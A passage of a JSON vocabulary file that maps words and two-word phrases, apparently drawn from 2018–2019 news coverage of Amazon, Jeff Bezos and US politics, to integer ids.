127509,\n  \"latest amazon\": 127510,\n  \"trump shifted\": 127511,\n  \"accuracy\": 127512,\n  \"meaningful innovation\": 127513,\n  \"finally picking\": 127514,\n  \"talks following\": 127515,\n  \"astoria blvd\": 127516,\n  \"trump obviously\": 127517,\n  \"overshadows trade\": 127518,\n  \"financial architects\": 127519,\n  \"target bezos\": 127520,\n  \"node 17608448011\": 127521,\n  \"unnatural\": 127522,\n  \"comedy ladder\": 127523,\n  \"create tax\": 127524,\n  \"brazil instead\": 127525,\n  \"new renewable\": 127526,\n  \"wears prada\": 127527,\n  \"parsons\": 127528,\n  \"trump pick\": 127529,\n  \"congressman gary\": 127530,\n  \"fake versions\": 127531,\n  \"credits illustration\": 127532,\n  \"leading multicarrier\": 127533,\n  \"revenue today\": 127534,\n  \"greater fortunes\": 127535,\n  \"ironies\": 127536,\n  \"clipa2 instant\": 127537,\n  \"won reflect\": 127538,\n  \"2018 fb\": 127539,\n  \"gael\": 127540,\n  \"story focuses\": 127541,\n  \"book repeatedly\": 127542,\n  \"florence floodwaters\": 127543,\n  \"outspoken advocate\": 127544,\n  \"tense exchanges\": 127545,\n  \"funke\": 127546,\n  \"kate garman\": 127547,\n  \"trump business\": 127548,\n  \"office vacancy\": 127549,\n  \"unusually outrageous\": 127550,\n  \"company primary\": 127551,\n  \"backbenchers\": 127552,\n  \"imply\": 127553,\n  \"palicki\": 127554,\n  \"575 migraine\": 127555,\n  \"reported thehill\": 127556,\n  \"democratic house\": 127557,\n  \"adult\": 127558,\n  \"step closer\": 127559,\n  \"635\": 127560,\n  \"tremendous volume\": 127561,\n  \"displayed published\": 127562,\n  \"cohn talked\": 127563,\n  \"factthat\": 127564,\n  \"hydrocarbons\": 127565,\n  \"democrats embrace\": 127566,\n  \"crosses washington\": 127567,\n  \"black walnut\": 127568,\n  \"gone insane\": 127569,\n  \"reassessing\": 127570,\n  \"investors digested\": 127571,\n  \"old fables\": 127572,\n  \"meristem\": 127573,\n  \"ipos\": 127574,\n  \"new hq2\": 127575,\n  \"urbanization\": 127576,\n  \"snl sketch\": 127577,\n  \"starting wage\": 127578,\n  \"visit coincides\": 127579,\n  \"chicago sen\": 127580,\n  \"florence twitter\": 127581,\n  \"critics led\": 127582,\n  \"sends deer\": 127583,\n  \"hate group\": 127584,\n  \"appstore\": 127585,\n  \"cafaro\": 127586,\n  \"plan bezos\": 127587,\n  \"lake michigan\": 127588,\n  \"cbenavidestv\": 127589,\n  \"corp walgreens\": 127590,\n  \"brazil national\": 127591,\n  \"backtracked saying\": 127592,\n  \"billionaire boys\": 127593,\n  \"incredibly intelligent\": 127594,\n  \"cornbelly corn\": 127595,\n  \"chosen trump\": 127596,\n  \"reasonableness\": 127597,\n  \"bizarre sexual\": 127598,\n  \"china retaliated\": 127599,\n  \"government regarding\": 127600,\n  \"people unjustly\": 127601,\n  \"staffs\": 127602,\n  \"function getshowinfo\": 127603,\n  \"detect fakes\": 127604,\n  \"sidekick tariff\": 127605,\n  \"featured host\": 127606,\n  \"written post\": 127607,\n  \"lipton san\": 127608,\n  \"cause white\": 127609,\n  \"competitors rely\": 127610,\n  \"emphasis\": 127611,\n  \"branson deputy\": 127612,\n  \"felt amazon\": 127613,\n  \"korea claiming\": 127614,\n  \"return theprosecutors\": 127615,\n  \"federation president\": 127616,\n  \"appropriate revoked\": 127617,\n  \"intervening\": 127618,\n  \"drop 16000\": 127619,\n  \"rejection proof\": 127620,\n  \"recently took\": 127621,\n  \"late cycle\": 127622,\n  \"correspondent housing\": 127623,\n  \"midterms texas\": 127624,\n  \"complex design\": 127625,\n  \"great question\": 127626,\n  \"reporting donald\": 127627,\n  \"2019 allen\": 127628,\n  \"scudamore\": 127629,\n  \"restricting guns\": 127630,\n  \"insider picks\": 127631,\n  \"won run\": 127632,\n  \"player geoffrey\": 127633,\n  \"erfgenamen\": 127634,\n  \"options seller\": 127635,\n  \"mesothelioma\": 127636,\n  \"falls tu\": 127637,\n  \"a4ee z1\": 127638,\n  \"della volpe\": 127639,\n  \"da w5\": 127640,\n  \"orders\": 127641,\n  \"gun pose\": 127642,\n  \"headline containing\": 127643,\n  \"major roadblock\": 127644,\n  \"55th birthday\": 127645,\n  \"paid real\": 127646,\n  \"jeffbezos 1549579861000\": 127647,\n  \"murdered national\": 127648,\n  \"buzzfeed conde\": 127649,\n  \"separation just\": 127650,\n  \"sickens people\": 127651,\n  \"joining tinder\": 127652,\n  \"talkative\": 127653,\n  \"massively valuable\": 127654,\n  \"high standing\": 127655,\n  \"holiday wealthy\": 127656,\n  \"nip\": 127657,\n  \"coalition saying\": 127658,\n  \"marsha blackburn\": 127659,\n  \"amazon federal\": 127660,\n  \"burke davis\": 127661,\n  \"post 21st\": 127662,\n  \"amazonbasics\": 127663,\n  \"sarah mohamed\": 127664,\n  \"amazon hundreds\": 127665,\n  \"1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq viewform\": 127666,\n  \"claims gop\": 127667,\n  \"google knows\": 127668,\n  \"substantive errors\": 127669,\n  \"gail simmons\": 127670,\n  \"alexa skills\": 127671,\n  \"suggest housing\": 127672,\n  \"handled\": 127673,\n  \"hour calculation\": 127674,\n  \"completeness expressions\": 127675,\n  \"635 shares\": 127676,\n  \"wing ire\": 127677,\n  \"preschool demographic\": 127678,\n  \"ethan hunt\": 127679,\n  \"stock closed\": 127680,\n  \"eliminating\": 127681,\n  \"plays second\": 127682,\n  \"hallucinating\": 127683,\n  \"055\": 127684,\n  \"yup\": 127685,\n  \"posted 197\": 127686,\n  \"dynamic play\": 127687,\n  \"proposal requirements\": 127688,\n  \"persistent rumblings\": 127689,\n  \"split documents\": 127690,\n  \"art europe\": 127691,\n  \"stresses\": 127692,\n  \"sec alphaone\": 127693,\n  \"american foe\": 127694,\n  \"compliance\": 127695,\n  \"economy navarro\": 127696,\n  \"trump smotivations\": 127697,\n  \"american food\": 127698,\n  \"bids\": 127699,\n  \"valley core\": 127700,\n  \"sharpdog\": 127701,\n  \"assistance just\": 127702,\n  \"french check\": 127703,\n  \"jersey yesterday\": 127704,\n  \"impact society\": 127705,\n  \"mulholland drive\": 127706,\n  \"chinese city\": 127707,\n  \"mauna\": 127708,\n  \"satirize amazon\": 127709,\n  \"currently connected\": 127710,\n  \"askingfor help\": 127711,\n  \"news capitol\": 127712,\n  \"article patriot\": 127713,\n  \"quo\": 127714,\n  \"provides expert\": 127715,\n  \"sexual misconduct\": 127716,\n  \"wind blows\": 127717,\n  \"features just\": 127718,\n  \"jess hope\": 127719,\n  \"fallen\": 127720,\n  \"trusted smart\": 127721,\n  \"detractor sorry\": 127722,\n  \"better pluribus\": 127723,\n  \"poverty sen\": 127724,\n  \"aws says\": 127725,\n  \"kellogg\": 127726,\n  \"centers causing\": 127727,\n  \"shares sold\": 127728,\n  \"solid gain\": 127729,\n  \"ideological competition\": 127730,\n  \"grasslands\": 127731,\n  \"yorker article\": 127732,\n  \"earlier gain\": 127733,\n  \"vacate\": 127734,\n  \"pinocchios\": 127735,\n  \"tycoon alec\": 127736,\n  \"total halt\": 127737,\n  \"amazon usps\": 127738,\n  \"mayor david\": 127739,\n  \"south late\": 127740,\n  \"summer geekwire\": 127741,\n  \"468\": 127742,\n  \"internal memo\": 127743,\n  \"najarian founder\": 127744,\n  \"futures slip\": 127745,\n  \"beatriz mexican\": 127746,\n  \"entire societies\": 127747,\n  \"insufficient research\": 127748,\n  \"mnuchin does\": 127749,\n  \"readers\": 127750,\n  \"wont affect\": 127751,\n  \"action navarro\": 127752,\n  \"giant bain\": 127753,\n  \"rainforest monitoring\": 127754,\n  \"jess aloe\": 127755,\n  \"price amzn\": 127756,\n  \"cnr 8217\": 127757,\n  \"wearing maga\": 127758,\n  \"recent changes\": 127759,\n  \"reportedly lamented\": 127760,\n  \"postal depots\": 127761,\n  \"workers make\": 127762,\n  \"near dulles\": 127763,\n  \"staged wave\": 127764,\n  \"limp svp\": 127765,\n  \"state partners\": 127766,\n  \"power players\": 127767,\n  \"limited coverage\": 127768,\n  \"bannerposition brandinglink\": 127769,\n  \"preliminary approval\": 127770,\n  \"phrase earlier\": 127771,\n  \"provides legal\": 127772,\n  \"years\": 127773,\n  \"commerce loophole\": 127774,\n  \"uploading\": 127775,\n  \"proposed tariffs\": 127776,\n  \"military hopefully\": 127777,\n  \"did lot\": 127778,\n  \"reuters reporting\": 127779,\n  \"kiwiblog\": 127780,\n  \"endless government\": 127781,\n  \"rehab\": 127782,\n  \"utilising methods\": 127783,\n  \"operating costs\": 127784,\n  \"franziska roesner\": 127785,\n  \"despite increased\": 127786,\n  \"binary government\": 127787,\n  \"largest economies\": 127788,\n  \"perk similar\": 127789,\n  \"deep background\": 127790,\n  \"frustration health\": 127791,\n  \"slowing shares\": 127792,\n  \"finally propagated\": 127793,\n  \"help mobile\": 127794,\n  \"amid unrest\": 127795,\n  \"tilray\": 127796,\n  \"originate\": 127797,\n  \"day classic\": 127798,\n  \"slapped\": 127799,\n  \"chat glenn\": 127800,\n  \"gado\": 127801,\n  \"americas\": 127802,\n  \"hackers\": 127803,\n  \"commerce ceo\": 127804,\n  \"bullishness\": 127805,\n  \"aligning\": 127806,\n  \"divert money\": 127807,\n  \"doesn begin\": 127808,\n  \"change announced\": 127809,\n  \"docked paid\": 127810,\n  \"ideas maybe\": 127811,\n  \"allegedly takes\": 127812,\n  \"mannequin\": 127813,\n  \"workers posted\": 127814,\n  \"hypocrisy\": 127815,\n  \"consumer product\": 127816,\n  \"completely banned\": 127817,\n  \"antitrust legal\": 127818,\n  \"publishing false\": 127819,\n  \"enterprise\": 127820,\n  \"person positive\": 127821,\n  \"corner\": 127822,\n  \"facebook hack\": 127823,\n  \"preset categories\": 127824,\n  \"mix relative\": 127825,\n  \"spray\": 127826,\n  \"career buffett\": 127827,\n  \"android google\": 127828,\n  \"647 500\": 127829,\n  \"cap taking\": 127830,\n  \"margrethe\": 127831,\n  \"hour home\": 127832,\n  \"products destroyed\": 127833,\n  \"lore\": 127834,\n  \"drug delivery\": 127835,\n  \"203 631\": 127836,\n  \"bezos stop\": 127837,\n  \"echoes echo\": 127838,\n  \"thought source\": 127839,\n  \"later learn\": 127840,\n  \"causes crises\": 127841,\n  \"unconventional potential\": 127842,\n  \"qcom\": 127843,\n  \"personal attorney\": 127844,\n  \"hawking\": 127845,\n  \"brooke paige\": 127846,\n  \"skyrocketing compensation\": 127847,\n  \"day threat\": 127848,\n  \"old days\": 127849,\n  \"going lower\": 127850,\n  \"industries integrated\": 127851,\n  \"trump doll\": 127852,\n  \"nyc dating\": 127853,\n  \"usps pension\": 127854,\n  \"rose fraction\": 127855,\n  \"x5q16\": 127856,\n  \"reactions director\": 127857,\n  \"avenatti making\": 127858,\n  \"writing reviews\": 127859,\n  \"hire american\": 127860,\n  \"amazon strong\": 127861,\n  \"new spending\": 127862,\n  \"sunlight foundation\": 127863,\n  \"gov chris\": 127864,\n  \"faith keith\": 127865,\n  \"writer patrice\": 127866,\n  \"leader theresa\": 127867,\n  \"anna sees\": 127868,\n  \"party wrong\": 127869,\n  \"briefs open\": 127870,\n  \"doesnt bode\": 127871,\n  \"cookbook author\": 127872,\n  \"critically injured\": 127873,\n  \"lost amid\": 127874,\n  \"including improving\": 127875,\n  \"photo koji\": 127876,\n  \"large business\": 127877,\n  \"achingly\": 127878,\n  \"finance house\": 127879,\n  \"key takeaways\": 127880,\n  \"longstanding criticism\": 127881,\n  \"150 billion\": 127882,\n  \"channel channel\": 127883,\n  \"costs starting\": 127884,\n  \"proof\": 127885,\n  \"longest stint\": 127886,\n  \"calif called\": 127887,\n  \"house intellectual\": 127888,\n  \"gives louis\": 127889,\n  \"emergency plans\": 127890,\n  \"fresh meadows\": 127891,\n  \"means\": 127892,\n  \"rally president\": 127893,\n  \"overarching regulations\": 127894,\n  \"ryder\": 127895,\n  \"antitrust expert\": 127896,\n  \"briefs netflix\": 127897,\n  \"different vendors\": 127898,\n  \"film agreement\": 127899,\n  \"img_tags\": 127900,\n  \"company meeting\": 127901,\n  \"obama birth\": 127902,\n  \"payment amounts\": 127903,\n  \"international federation\": 127904,\n  \"instant pants\": 127905,\n  \"newly separate\": 127906,\n  \"hot meals\": 127907,\n  \"infrastructure investments\": 127908,\n  \"future panelists\": 127909,\n  \"chinese good\": 127910,\n  \"amarillo\": 127911,\n  \"rise reuters\": 127912,\n  \"impose limits\": 127913,\n  \"facebook started\": 127914,\n  \"bannon believed\": 127915,\n  \"organization accused\": 127916,\n  \"progressive bedfellow\": 127917,\n  \"trump 2015\": 127918,\n  \"sold 02m\": 127919,\n  \"961\": 127920,\n  \"president attack\": 127921,\n  \"pluggable digital\": 127922,\n  \"insurance pays\": 127923,\n  \"lobbyist newspaper\": 127924,\n  \"geography\": 127925,\n  \"blind eye\": 127926,\n  \"korede crushing\": 127927,\n  \"budget deal\": 127928,\n  \"itemised\": 127929,\n  \"operations new\": 127930,\n  \"tumor took\": 127931,\n  \"receives states\": 127932,\n  \"gobsmacking headlines\": 127933,\n  \"blackledge\": 127934,\n  \"presidency startup\": 127935,\n  \"advancing proposal\": 127936,\n  \"italian interference\": 127937,\n  \"avenatti faces\": 127938,\n  \"michelman\": 127939,\n  \"killing power\": 127940,\n  \"book volume\": 127941,\n  \"better inventory\": 127942,\n  \"hey kid\": 127943,\n  \"ago siding\": 127944,\n  \"g1ykjappwy jeff\": 127945,\n  \"increases\": 127946,\n  \"index min\": 127947,\n  \"huseman vp\": 127948,\n  \"perversely\": 127949,\n  \"flack amazon\": 127950,\n  \"geothermal energy\": 127951,\n  \"traditional antitrust\": 127952,\n  \"avail\": 127953,\n  \"subscribed agriculture\": 127954,\n  \"women shelter\": 127955,\n  \"really worried\": 127956,\n  \"aziz ansari\": 127957,\n  \"governmental power\": 127958,\n  \"passing legislation\": 127959,\n  \"rom\": 127960,\n  \"hassett anita\": 127961,\n  \"similar meal\": 127962,\n  \"consuming approvals\": 127963,\n  \"congress launches\": 127964,\n  \"snowstorms grocery\": 127965,\n  \"elections minor\": 127966,\n  \"head roy\": 127967,\n  \"israel palestine\": 127968,\n  \"dc shares\": 127969,\n  \"company margins\": 127970,\n  \"individual campaign\": 127971,\n  \"electrical equipment\": 127972,\n  \"city html\": 127973,\n  \"survey suggested\": 127974,\n  \"movie world\": 127975,\n  \"antagonist long\": 127976,\n  \"prongs\": 127977,\n  \"story alibabas\": 127978,\n  \"peter cummings\": 127979,\n  \"stock netflix\": 127980,\n  \"astonished\": 127981,\n  \"stand shoulder\": 127982,\n  \"rattling\": 127983,\n  \"party going\": 127984,\n  \"called alive\": 127985,\n  \"banning pro\": 127986,\n  \"plan print\": 127987,\n  \"million views\": 127988,\n  \"promoting practices\": 127989,\n  \"public document\": 127990,\n  \"pecker longtime\": 127991,\n  \"seventies real\": 127992,\n  \"marketplace internationally\": 127993,\n  \"news terrorism\": 127994,\n  \"emergency response\": 127995,\n  \"reliance right\": 127996,\n  \"inpoland begin\": 127997,\n  \"spending upfront\": 127998,\n  \"smoothed\": 127999,\n  \"primaryfilelocation\": 128000,\n  \"casino operators\": 128001,\n  \"devin wenig\": 128002,\n  \"including amazonbasics\": 128003,\n  \"read wrote\": 128004,\n  \"derbyshire\": 128005,\n  \"regarding hillary\": 128006,\n  \"decidedly skinflint\": 128007,\n  \"coors\": 128008,\n  \"sits jeff\": 128009,\n  \"workplace conditions\": 128010,\n  \"trade tariff\": 128011,\n  \"bonafide monopoly\": 128012,\n  \"consolidating power\": 128013,\n  \"mod hp_lead_pos11\": 128014,\n  \"jungle amazon\": 128015,\n  \"probably command\": 128016,\n  \"jhamilton33 bloomberg\": 128017,\n  \"legend\": 128018,\n  \"repeated requests\": 128019,\n  \"long text\": 128020,\n  \"sector weakens\": 128021,\n  \"2017 pretty\": 128022,\n  \"surprise craniotomy\": 128023,\n  \"ranking democrat\": 128024,\n  \"plus losses\": 128025,\n  \"100 fulfillment\": 128026,\n  \"loosely defined\": 128027,\n  \"business correspondent\": 128028,\n  \"aaliyah center\": 128029,\n  \"high resolution\": 128030,\n  \"data centric\": 128031,\n  \"consulting amazon\": 128032,\n  \"capital infusions\": 128033,\n  \"named man\": 128034,\n  \"dilemma\": 128035,\n  \"fox midterms\": 128036,\n  \"town today\": 128037,\n  \"retailer collects\": 128038,\n  \"great tale\": 128039,\n  \"prioritized market\": 128040,\n  \"miscarriage\": 128041,\n  \"web infrastructure\": 128042,\n  \"traditional mail\": 128043,\n  \"margaret clark\": 128044,\n  \"raising shipping\": 128045,\n  \"possible vetoes\": 128046,\n  \"provides platform\": 128047,\n  \"rooted\": 128048,\n  \"click herefor\": 128049,\n  \"bieber\": 128050,\n  \"regulatory changes\": 128051,\n  \"million face\": 128052,\n  \"blunt brilliant\": 128053,\n  \"article today\": 128054,\n  \"life imploding\": 128055,\n  \"trickier breakingviews\": 128056,\n  \"class voters\": 128057,\n  \"fattened margins\": 128058,\n  \"forced technology\": 128059,\n  \"sales declined\": 128060,\n  \"maybe burned\": 128061,\n  \"express scripts\": 128062,\n  \"consecutive best\": 128063,\n  \"atop\": 128064,\n  \"000 brought\": 128065,\n  \"logistics software\": 128066,\n  \"little progress\": 128067,\n  \"doubleclick\": 128068,\n  \"follow jack\": 128069,\n  \"intangible assets\": 128070,\n  \"windows operating\": 128071,\n  \"group membership\": 128072,\n  \"loathe flavored\": 128073,\n  \"katie honan\": 128074,\n  \"case china\": 128075,\n  \"sent 595\": 128076,\n  \"internet security\": 128077,\n  \"alabama gov\": 128078,\n  \"overreaction know\": 128079,\n  \"millennial options\": 128080,\n  \"rules zinke\": 128081,\n  \"marginal tax\": 128082,\n  \"valicenti advisory\": 128083,\n  \"remove cnnvideoapi\": 128084,\n  \"outstanding quality\": 128085,\n  \"second column\": 128086,\n  \"popular conspiracy\": 128087,\n  \"sputtered\": 128088,\n  \"touching moment\": 128089,\n  \"distinct spellings\": 128090,\n  \"pell\": 128091,\n  \"netflix platform\": 128092,\n  \"apparatuses\": 128093,\n  \"discredit women\": 128094,\n  \"neighbor gates\": 128095,\n  \"run counter\": 128096,\n  \"nationwide gmo\": 128097,\n  \"king unavailable\": 128098,\n  \"hastings\": 128099,\n  \"new sabrina\": 128100,\n  \"everybody says\": 128101,\n  \"software bo\": 128102,\n  \"plans lower\": 128103,\n  \"jonathan bernstein\": 128104,\n  \"role using\": 128105,\n  \"samuelsohn\": 128106,\n  \"ceo rocked\": 128107,\n  \"varney blame\": 128108,\n  \"world internet\": 128109,\n  \"diva ish\": 128110,\n  \"persistent red\": 128111,\n  \"lobbying influence\": 128112,\n  \"pulls lighter\": 128113,\n  \"year reign\": 128114,\n  \"blasio\": 128115,\n  \"built inside\": 128116,\n  \"history failing\": 128117,\n  \"waged vast\": 128118,\n  \"progressive presidential\": 128119,\n  \"business pillpak\": 128120,\n  \"idiotic\": 128121,\n  \"think certainly\": 128122,\n  \"reaching 1770\": 128123,\n  \"project new\": 128124,\n  \"tech links\": 128125,\n  \"monopolies monopoly\": 128126,\n  \"tailing mogul\": 128127,\n  \"neal\": 128128,\n  \"mystery ingredients\": 128129,\n  \"bruggink just\": 128130,\n  \"trails\": 128131,\n  \"farm team\": 128132,\n  \"h0 t9x\": 128133,\n  \"stock lower\": 128134,\n  \"administration talking\": 128135,\n  \"countries public\": 128136,\n  \"council creates\": 128137,\n  \"monosodium\": 128138,\n  \"lost contact\": 128139,\n  \"sizable federal\": 128140,\n  \"macmillan\": 128141,\n  \"american cemetary\": 128142,\n  \"woman recanted\": 128143,\n  \"predicting\": 128144,\n  \"lerer\": 128145,\n  \"sent just\": 128146,\n  \"ounterfeiters\": 128147,\n  \"algorithm based\": 128148,\n  \"say nice\": 128149,\n  \"steel tariffs\": 128150,\n  \"investing trading\": 128151,\n  \"office typical\": 128152,\n  \"center splc\": 128153,\n  \"insufficient job\": 128154,\n  \"familiar stock\": 128155,\n  \"maybe italy\": 128156,\n  \"management think\": 128157,\n  \"brewer joined\": 128158,\n  \"school counselors\": 128159,\n  \"amazon hometown\": 128160,\n  \"administration multiple\": 128161,\n  \"public advocacy\": 128162,\n  \"series preacher\": 128163,\n  \"karenia brevis\": 128164,\n  \"home ignition\": 128165,\n  \"deceased infant\": 128166,\n  \"money michael\": 128167,\n  \"photo apnewsnow\": 128168,\n  \"bursting\": 128169,\n  \"national review\": 128170,\n  \"american past\": 128171,\n  \"divorce shortly\": 128172,\n  \"mesh\": 128173,\n  \"told ami\": 128174,\n  \"worthy cleanse\": 128175,\n  \"rudy giuliani\": 128176,\n  \"exhibition roar\": 128177,\n  \"gregory\": 128178,\n  \"pure evil\": 128179,\n  \"angels\": 128180,\n  \"reckoning looks\": 128181,\n  \"used personal\": 128182,\n  \"bahrain based\": 128183,\n  \"hunt trump\": 128184,\n  \"owen sorority\": 128185,\n  \"began informing\": 128186,\n  \"board opposes\": 128187,\n  \"priyanka\": 128188,\n  \"awesome results\": 128189,\n  \"site bankrate\": 128190,\n  \"rick bowmer\": 128191,\n  \"funding billion\": 128192,\n  \"300000 year\": 128193,\n  \"accusing trump\": 128194,\n  \"ledger\": 128195,\n  \"disastrous plan\": 128196,\n  \"mousetrap\": 128197,\n  \"accommodation options\": 128198,\n  \"partially accurate\": 128199,\n  \"summer faced\": 128200,\n  \"nationalist uprising\": 128201,\n  \"epidemics social\": 128202,\n  \"late summer\": 128203,\n  \"national retail\": 128204,\n  \"learning cloud\": 128205,\n  \"increased public\": 128206,\n  \"times phillip\": 128207,\n  \"killing richie\": 128208,\n  \"bezos cliff\": 128209,\n  \"rekognition social\": 128210,\n  \"worth 150\": 128211,\n  \"mark story\": 128212,\n  \"china right\": 128213,\n  \"order takes\": 128214,\n  \"losing social\": 128215,\n  \"xrlwpbmgj7 stephanie\": 128216,\n  \"northeastern university\": 128217,\n  \"motor tm\": 128218,\n  \"fertile women\": 128219,\n  \"lawsuits regarding\": 128220,\n  \"vt trump\": 128221,\n  \"tech amd\": 128222,\n  \"needed jobs\": 128223,\n  \"sent 850\": 128224,\n  \"boston atlanta\": 128225,\n  \"affronted\": 128226,\n  \"racist\": 128227,\n  \"blame game\": 128228,\n  \"fed policy\": 128229,\n  \"arthouse stalwart\": 128230,\n  \"dennis rodman\": 128231,\n  \"products maintain\": 128232,\n  \"offering discounts\": 128233,\n  \"certainly follow\": 128234,\n  \"washington emphasized\": 128235,\n  \"stuart lauchlan\": 128236,\n  \"trademark furore\": 128237,\n  \"colleague\": 128238,\n  \"eliminating meal\": 128239,\n  \"stock jumped\": 128240,\n  \"collectively\": 128241,\n  \"called grand\": 128242,\n  \"disturbingly little\": 128243,\n  \"chain reaction\": 128244,\n  \"oracle chief\": 128245,\n  \"applied\": 128246,\n  \"gulftimes qatar\": 128247,\n  \"washington flush\": 128248,\n  \"groceries making\": 128249,\n  \"invalidate\": 128250,\n  \"meaning rosenstein\": 128251,\n  \"help private\": 128252,\n  \"aca sent\": 128253,\n  \"robbinsville new\": 128254,\n  \"bad decisions\": 128255,\n  \"img_rightsflag\": 128256,\n  \"100418 large\": 128257,\n  \"woman living\": 128258,\n  \"encouraged student\": 128259,\n  \"urban decay\": 128260,\n  \"quite good\": 128261,\n  \"alert dropped\": 128262,\n  \"manage privacy\": 128263,\n  \"buy agrees\": 128264,\n  \"findings\": 128265,\n  \"offer break\": 128266,\n  \"agent required\": 128267,\n  \"globe kevin\": 128268,\n  \"lobbyist trump\": 128269,\n  \"index analysts\": 128270,\n  \"elite land\": 128271,\n  \"extraordinary infrastructure\": 128272,\n  \"ven\": 128273,\n  \"zinke whitefish\": 128274,\n  \"indicates labor\": 128275,\n  \"buying food\": 128276,\n  \"launch investigations\": 128277,\n  \"brisket\": 128278,\n  \"anytime soon\": 128279,\n  \"including market\": 128280,\n  \"heavy bulky\": 128281,\n  \"brands using\": 128282,\n  \"lot discount\": 128283,\n  \"f4a tostring\": 128284,\n  \"guide employees\": 128285,\n  \"signed multi\": 128286,\n  \"entertainment industry\": 128287,\n  \"apfn\": 128288,\n  \"house reporter\": 128289,\n  \"assessments reassessments\": 128290,\n  \"ios\": 128291,\n  \"ultimately giving\": 128292,\n  \"jolts higher\": 128293,\n  \"search listings\": 128294,\n  \"1947\": 128295,\n  \"3196 bought\": 128296,\n  \"humanity best\": 128297,\n  \"mean amazon\": 128298,\n  \"far rankings\": 128299,\n  \"treks\": 128300,\n  \"achieve just\": 128301,\n  \"contract cover\": 128302,\n  \"netflix rounded\": 128303,\n  \"sandbulte cited\": 128304,\n  \"paperwork\": 128305,\n  \"private organization\": 128306,\n  \"film festival\": 128307,\n  \"economic contributions\": 128308,\n  \"seeking million\": 128309,\n  \"valley giant\": 128310,\n  \"focused tech\": 128311,\n  \"constitution 25th\": 128312,\n  \"infrastructure ron\": 128313,\n  \"spicy\": 128314,\n  \"directing customer\": 128315,\n  \"strongly reconsider\": 128316,\n  \"cortez receives\": 128317,\n  \"spectacle\": 128318,\n  \"w4 f8\": 128319,\n  \"butler yeats\": 128320,\n  \"execution\": 128321,\n  \"met stone\": 128322,\n  \"law according\": 128323,\n  \"face hostile\": 128324,\n  \"personal presence\": 128325,\n  \"security launch\": 128326,\n  \"wine alistair\": 128327,\n  \"childish president\": 128328,\n  \"wanted trump\": 128329,\n  \"computer education\": 128330,\n  \"signed lease\": 128331,\n  \"retrospective\": 128332,\n  \"ding\": 128333,\n  \"bancha\": 128334,\n  \"crony relationship\": 128335,\n  \"online order\": 128336,\n  \"street reacted\": 128337,\n  \"businessman identified\": 128338,\n  \"2017 taking\": 128339,\n  \"cabal tech\": 128340,\n  \"visit book\": 128341,\n  \"initial overtures\": 128342,\n  \"european\": 128343,\n  \"bettencourt meyers\": 128344,\n  \"crispy cheese\": 128345,\n  \"files\": 128346,\n  \"legislation related\": 128347,\n  \"380s\": 128348,\n  \"housed insurance\": 128349,\n  \"package shipments\": 128350,\n  \"adler\": 128351,\n  \"hastings company\": 128352,\n  \"breaks paid\": 128353,\n  \"personal time\": 128354,\n  \"released saying\": 128355,\n  \"anecdotes\": 128356,\n  \"strong alonzo\": 128357,\n  \"deemed trump\": 128358,\n  \"honors performance\": 128359,\n  \"grateful bezos\": 128360,\n  \"ap chinese\": 128361,\n  \"null inc_newsworthyflag\": 128362,\n  \"goodin jason\": 128363,\n  \"retribution\": 128364,\n  \"vudu capernaum\": 128365,\n  \"doesn dial\": 128366,\n  \"democrat lawmakers\": 128367,\n  \"great fortune\": 128368,\n  \"sizeable\": 128369,\n  \"trump overwhelms\": 128370,\n  \"lapse\": 128371,\n  \"hiring firing\": 128372,\n  \"washington accused\": 128373,\n  \"islamic militant\": 128374,\n  \"2023 circle\": 128375,\n  \"ross sandler\": 128376,\n  \"devastating impact\": 128377,\n  \"payment violated\": 128378,\n  \"political groups\": 128379,\n  \"jontalton\": 128380,\n  \"8bn\": 128381,\n  \"navarro says\": 128382,\n  \"data cited\": 128383,\n  \"nash holdings\": 128384,\n  \"cio opposes\": 128385,\n  \"offender\": 128386,\n  \"patton boggs\": 128387,\n  \"zaccara\": 128388,\n  \"revile\": 128389,\n  \"eh\": 128390,\n  \"reveals partisan\": 128391,\n  \"krasinski family\": 128392,\n  \"decades bezos\": 128393,\n  \"busey\": 128394,\n  \"difficult according\": 128395,\n  \"implication\": 128396,\n  \"congress recessed\": 128397,\n  \"snow squall\": 128398,\n  \"560 000\": 128399,\n  \"announcing plans\": 128400,\n  \"industrial combat\": 128401,\n  \"various foundations\": 128402,\n  \"second time\": 128403,\n  \"inspect\": 128404,\n  \"nvidia results\": 128405,\n  \"wildfires cause\": 128406,\n  \"philip morris\": 128407,\n  \"passing resemblance\": 128408,\n  \"imagery amazon\": 128409,\n  \"landless worker\": 128410,\n  \"received evaluated\": 128411,\n  \"videoid carousel\": 128412,\n  \"brisk\": 128413,\n  \"stretchable read\": 128414,\n  \"potentially millions\": 128415,\n  \"air delivery\": 128416,\n  \"economists expect\": 128417,\n  \"cnn jon\": 128418,\n  \"uber self\": 128419,\n  \"pisgah\": 128420,\n  \"inventory gift\": 128421,\n  \"transplant turks\": 128422,\n  \"awful choices\": 128423,\n  \"american enteprise\": 128424,\n  \"botnets\": 128425,\n  \"reuters joshua\": 128426,\n  \"legally questionable\": 128427,\n  \"safe set\": 128428,\n  \"ahead tracker\": 128429,\n  \"decade giving\": 128430,\n  \"s\\u00e1nchez\": 128431,\n  \"republicans alike\": 128432,\n  \"set competitive\": 128433,\n  \"retailers president\": 128434,\n  \"amazon mainstream\": 128435,\n  \"million dollars\": 128436,\n  \"opioids\": 128437,\n  \"company importantly\": 128438,\n  \"business arrangements\": 128439,\n  \"sheet risk\": 128440,\n  \"buy bby\": 128441,\n  \"handbags bloomingdales\": 128442,\n  \"ami execs\": 128443,\n  \"near san\": 128444,\n  \"divorced croatian\": 128445,\n  \"bannerposition\": 128446,\n  \"interviewer\": 128447,\n  \"harwell\": 128448,\n  \"cnn cold\": 128449,\n  \"ala john\": 128450,\n  \"america great\": 128451,\n  \"selling impeach\": 128452,\n  \"2016 undercover\": 128453,\n  \"won discuss\": 128454,\n  \"trump shiny\": 128455,\n  \"leaked document\": 128456,\n  \"bezos assured\": 128457,\n  \"changed lockheed\": 128458,\n  \"frequently means\": 128459,\n  \"schiff told\": 128460,\n  \"arabia\": 128461,\n  \"slimy\": 128462,\n  \"2017 zach\": 128463,\n  \"famously raucous\": 128464,\n  \"rush distribution\": 128465,\n  \"favorability rating\": 128466,\n  \"admired companies\": 128467,\n  \"gloves rock\": 128468,\n  \"approved repurchase\": 128469,\n  \"hotel ballroom\": 128470,\n  \"data compiled\": 128471,\n  \"data bartiromo\": 128472,\n  \"elections trump\": 128473,\n  \"betsy klein\": 128474,\n  \"unbearable conditions\": 128475,\n  \"patent litigation\": 128476,\n  \"employees heather\": 